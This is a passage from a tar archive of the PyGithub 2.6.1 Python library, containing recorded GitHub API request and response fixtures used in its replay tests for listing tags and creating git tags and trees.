m/repos/PyGithub/PyGithub/tarball/v2.0.0-alpha.4","commit":{"sha":"c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c5a2bb0934ffc04fcd42d0b55e1fec7810bd95b7"}},{"name":"v2.0.0.-alpha.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v2.0.0.-alpha.3","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v2.0.0.-alpha.3","commit":{"sha":"d737ccbe2ab54c747374d2a8f1bc9268aa25372d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d737ccbe2ab54c747374d2a8f1bc9268aa25372d"}},{"name":"v2.0.0-alpha.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v2.0.0-alpha.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v2.0.0-alpha.2","commit":{"sha":"4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4d4c2ed3c79e4fe4e58b0a7b9dbd976cb92b22bb"}},{"name":"v2.0.0-alpha.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v2.0.0-alpha.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v2.0.0-alpha.1","commit":{"sha":"a27948a3c5ad70f2818379ae07953405fcee9d0d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a27948a3c5ad70f2818379ae07953405fcee9d0d"}},{"name":"v1.29","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.29","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.29","commit":{"sha":"43f61f9471cc4c1aab69524ba53bb11d6597d0bf","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/43f61f9471cc4c1aab69524ba53bb11d6597d0bf"}},{"name":"v1.28","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.28","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.28","commit":{"sha":"4a657d67f8f325b081233583216db07a88b761c8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4a657d67f8f325b081233583216db07a88b761c8"}},{"name":"v1.27.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.27.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.27.1","commit":{"sha":"0098e08792b1aaa2c5cbe498a0139f58199dd90c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0098e08792b1aaa2c5cbe498a0139f58199dd90c"}},{"name":"v1.27.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.27.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.27.0","commit":{"sha":"37c9a5045dc592af630f5e46aa53e0c86617d696","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/37c9a5045dc592af630f5e46aa53e0c86617d696"}},{"name":"v1.26.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.26.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.26.0","commit":{"sha":"ace2b0c067a7f92bf12965fb4cbfbc8d893d06d2","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ace2b0c067a7f92bf12965fb4cbfbc8d893d06d2"}},{"name":"v1.25.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.25.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.25.2","commit":{"sha":"5a05a5e58f682d315acd2447c87ac5b4d4fc55e8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5a05a5e58f682d315acd2447c87ac5b4d4fc55e8"}},{"name":"v1.25.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.25.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.25.1","commit":{"sha":"9962ae226869c8c57aed545a8e4834988682cf31","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9962ae226869c8c57aed545a8e4834988682cf31"}},{"name":"v1.25.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.25.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.25.0","commit":{"sha":"b64b0d6942bb27095bd035b8c0db10ca35448be3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b64b0d6942bb27095bd035b8c0db10ca35448be3"}},{"name":"v1.24.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.24.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.24.1","commit":{"sha":"5e7d45a2f8c09757a0ce6d0bf37a8eec31791578","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5e7d45a2f8c09757a0ce6d0bf37a8eec31791578"}},{"name":"v1.24.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.24.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.24.0","commit":{"sha":"2e74c7d9ea66484dfbcb64e6c05964c07d1f9c02","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2e74c7d9ea66484dfbcb64e6c05964c07d1f9c02"}},{"name":"v1.23.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.23.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.23.0","commit":{"sha":"937c7fccf586643530eff6a557f262c1950dc89f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/937c7fccf586643530eff6a557f262c1950dc89f"}},{"name":"v1.22.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.22.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.22.0","commit":{"sha":"66edeb601fe7fb48d84e9adcc6bdfef64e87a0f0","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/66edeb601fe7fb48d84e9adcc6bdfef64e87a0f0"}},{"name":"v1.21.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.21.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.21.0","commit":{"sha":"3ff7e4843ef251c158dc8d07e667db80e03820bb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3ff7e4843ef251c158dc8d07e667db80e03820bb"}},{"name":"v1.20.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.20.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.20.0","commit":{"sha":"8cb3f372837e2648f17e3f085d2821114b507383","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3f372837e2648f17e3f085d2821114b507383"}},{"name":"v1.19.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.19.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.19.0","commit":{"sha":"9f9be931fb3821256d8bb685577b5167652763d5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9f9be931fb3821256d8bb685577b5167652763d5"}},{"name":"v1.18.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.18.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.18.0","commit":{"sha":"5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8"}},{"name":"v1.17.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.17.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.17.0","commit":{"sha":"72f8876112ba029111c739871e3e4d7bce66b95d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/72f8876112ba029111c739871e3e4d7bce66b95d"}},{"name":"v1.16.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.16.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.16.0","commit":{"sha":"539ec2a7258a06af3c5c3e93bfbf4b8d3e4fd672","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/539ec2a7258a06af3c5c3e93bfbf4b8d3e4fd672"}},{"name":"v1.15.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.15.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.15.0","commit":{"sha":"e1c7052ff1ed27c28ea999cb1f9e1ba691eacfc1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e1c7052ff1ed27c28ea999cb1f9e1ba691eacfc1"}},{"name":"v1.14.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.14.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.14.2","commit":{"sha":"446f0c94410e678662bb8770e8dc4d8c263b74e6","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/446f0c94410e678662bb8770e8dc4d8c263b74e6"}},{"name":"v1.14.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.14.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.14.1","commit":{"sha":"2d1c709062ec7bd132a7421429d7bcbf5dca20e4","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2d1c709062ec7bd132a7421429d7bcbf5dca20e4"}},{"name":"v1.14.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.14.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.14.0","commit":{"sha":"0a0fc8848167c7ad106a0feff93296c006b24fe6","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0a0fc8848167c7ad106a0feff93296c006b24fe6"}},{"name":"v1.13.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.13.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.13.1","commit":{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611"}},{"name":"v1.13.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.13.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.13.0","commit":{"sha":"b7e4000450e89b8c6e947e3a1e52fb06da7c9621","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621"}}] https GET api.github.com None /repositories/70329851/tags?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '8154'), ('x-runtime-rack', '0.049311'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"335bb6d8e6561088f4733fa74a8d0022"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '8F47:1D39A:5103938:5DFA1D9:59AE9093'), ('last-modified', 'Sun, 27 Nov 2016 13:31:42 GMT'), ('link', '; rel="first", ; rel="prev"'), ('date', 'Tue, 05 Sep 2017 11:55:00 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] [{"name":"v1.12.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.12.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.12.2","commit":{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18"}},{"name":"v1.12.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.12.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.12.1","commit":{"sha":"67bdf8c0be32dc195a4545bf90100a1b55eebf45","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/67bdf8c0be32dc195a4545bf90100a1b55eebf45"}},{"name":"v1.12.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.12.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.12.0","commit":{"sha":"c8553031178cbf221d95af1ecc7ffd4707ac5cc9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c8553031178cbf221d95af1ecc7ffd4707ac5cc9"}},{"name":"v1.11.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.11.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.11.1","commit":{"sha":"392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f"}},{"name":"v1.11.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.11.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.11.0","commit":{"sha":"6b32e1cdf588d8c3c651d355ffc3451dd34284b9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6b32e1cdf588d8c3c651d355ffc3451dd34284b9"}},{"name":"v1.10.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.10.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.10.0","commit":{"sha":"4400a24872e52ee488067a7d0d8522ca3764b4e5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4400a24872e52ee488067a7d0d8522ca3764b4e5"}},{"name":"v1.9.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.9.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.9.1","commit":{"sha":"a922319db0037babe9919a83b8b69efebcf942ea","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a922319db0037babe9919a83b8b69efebcf942ea"}},{"name":"v1.9.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.9.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.9.0","commit":{"sha":"808fe92191d287bbad6131c5a8be78b4ded745fd","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/808fe92191d287bbad6131c5a8be78b4ded745fd"}},{"name":"v1.8.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.8.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.8.1","commit":{"sha":"e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39"}},{"name":"v1.8.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.8.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.8.0","commit":{"sha":"31110327ec45f3138e58ed247b2cf420fee481ec","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31110327ec45f3138e58ed247b2cf420fee481ec"}},{"name":"v1.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.7","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.7","commit":{"sha":"df3290644ad7846d4ca93ba94af943ae1431ee1c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/df3290644ad7846d4ca93ba94af943ae1431ee1c"}},{"name":"v1.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.6","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.6","commit":{"sha":"cabc55dc3b858b7e02076e2c1041f242f05b9f1c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cabc55dc3b858b7e02076e2c1041f242f05b9f1c"}},{"name":"v1.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.5","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.5","commit":{"sha":"ece857f70e19b69ebeda244da71f892c8b05f53a","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ece857f70e19b69ebeda244da71f892c8b05f53a"}},{"name":"v1.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.4","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.4","commit":{"sha":"bf1e3b588b2a91afcabb64d5d28476bdbf074912","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bf1e3b588b2a91afcabb64d5d28476bdbf074912"}},{"name":"v1.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.3","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.3","commit":{"sha":"e6c64ab31ea88229f0c81ae9f83496db34452db7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e6c64ab31ea88229f0c81ae9f83496db34452db7"}},{"name":"v1.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.2","commit":{"sha":"d40bec470e30bac4175d62a880b42757939553c9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d40bec470e30bac4175d62a880b42757939553c9"}},{"name":"v1.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.1","commit":{"sha":"6658713d2790d1d47886ed9cee84ba645f160877","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6658713d2790d1d47886ed9cee84ba645f160877"}},{"name":"v1.0","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.0","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.0","commit":{"sha":"0855be0a4db8537b313b370b2a4642b7971a8296","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0855be0a4db8537b313b370b2a4642b7971a8296"}},{"name":"v0.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.7","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.7","commit":{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}},{"name":"v0.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.6","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.6","commit":{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495"}},{"name":"v0.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.5","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.5","commit":{"sha":"936f4a97f1a86392637ec002bbf89ff036a5062d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d"}},{"name":"v0.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.4","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.4","commit":{"sha":"a3be28756101370fbc689eec3a7825c4c385a6c9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9"}},{"name":"v0.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.3","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.3","commit":{"sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d"}},{"name":"v0.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.2","commit":{"sha":"9f0b05161f9d1962b9156e6c91fc04f382028240","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9f0b05161f9d1962b9156e6c91fc04f382028240"}},{"name":"v0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v0.1","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v0.1","commit":{"sha":"dbdcda3591980de42617814f792969126e6402c3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dbdcda3591980de42617814f792969126e6402c3"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTag.txt0000644000175100001660000000240014756101563024274 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/tags {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"message": "Tag created by PyGithub", "tag": "TaggedByPyGithub", "type": "commit", "object": "0b820628236ab8bab3890860fc414fa757ca15f4"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4925'), ('content-length', '512'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9a9c1f293329ee4c63e8cfb08772e3a1"'), ('date', 'Sun, 27 May 2012 05:56:08 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/tags/5ba561eaa2b7ca9015662510157b15d8f3b0232a')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/5ba561eaa2b7ca9015662510157b15d8f3b0232a","message":"Tag created by PyGithub","tag":"TaggedByPyGithub","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4","sha":"0b820628236ab8bab3890860fc414fa757ca15f4"},"tagger":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:56:07-07:00"},"sha":"5ba561eaa2b7ca9015662510157b15d8f3b0232a"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt0000644000175100001660000000255314756101563027460 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/tags {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tagger": {"date": "2008-07-09T16:13:30+12:00", "name": "John Doe", "email": "j.doe@vincent-jacques.net"}, "message": "Tag also created by PyGithub", "tag": "TaggedByPyGithub2", "type": "commit", "object": "526946197ae9da59c6507cacd13ad6f1cfb686ea"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4922'), ('content-length', '506'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a7e5d9e4342e323fa513f880968b80f4"'), ('date', 'Sun, 27 May 2012 05:57:03 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/tags/f0e99a8335fbc84c53366c4a681118468f266625')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/f0e99a8335fbc84c53366c4a681118468f266625","message":"Tag also created by PyGithub","tag":"TaggedByPyGithub2","object":{"type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea","sha":"526946197ae9da59c6507cacd13ad6f1cfb686ea"},"tagger":{"email":"j.doe@vincent-jacques.net","name":"John Doe","date":"2008-07-08T21:13:30-07:00"},"sha":"f0e99a8335fbc84c53366c4a681118468f266625"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTree.txt0000644000175100001660000000214214756101563024463 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/trees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tree": [{"content": "File created by PyGithub", "path": "Foobar.txt", "type": "blob", "mode": "100644"}]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4937'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0446b5f676814b5801ab6744ef9b59f7"'), ('date', 'Sun, 27 May 2012 05:48:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b","sha":"41cf8c178c636a018d537cb20daae09391efd70b","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","size":24,"path":"Foobar.txt","sha":"73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","mode":"100644"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt0000644000175100001660000000440014756101563026731 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 20:02:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b","sha":"41cf8c178c636a018d537cb20daae09391efd70b","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} https POST api.github.com None /repos/PyGithub/PyGithub/git/trees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tree": [{"content": "File also created by PyGithub", "path": "Barbaz.txt", "type": "blob", "mode": "100644"}], "base_tree": "41cf8c178c636a018d537cb20daae09391efd70b"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4934'), ('content-length', '599'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f04d90b327eaf7b7600bc22fd11a41a4"'), ('date', 'Sun, 27 May 2012 05:49:48 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528')] {"tree":[{"type":"blob","sha":"92be1df4e473d2541c5c166ad145a39d0324de8b","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/92be1df4e473d2541c5c166ad145a39d0324de8b","size":29,"path":"Barbaz.txt","mode":"100644"},{"type":"blob","sha":"73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","size":24,"path":"Foobar.txt","mode":"100644"}],"sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitTreeWithNullSha.txt0000644000175100001660000000374414756101563026617 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/trees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tree": [{"path": "Baz.bar", "type": "blob", "mode": "100644", "sha": null}]} 201 [('date', 'Fri, 27 Dec 2019 00:51:47 GMT'), ('content-type', 'application/json; charset=utf-8'), ('content-length', '401'), ('server', 'GitHub.com'), ('status', '201 Created'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4996'), ('x-ratelimit-reset', '1577411349'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('etag', '"92c715dcb38b27913fafb5f0b0033832"'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-accepted-oauth-scopes', ''), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/trees/9b8166fc80d0f0fe9192d4bf1dbaa87f194e012f'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, 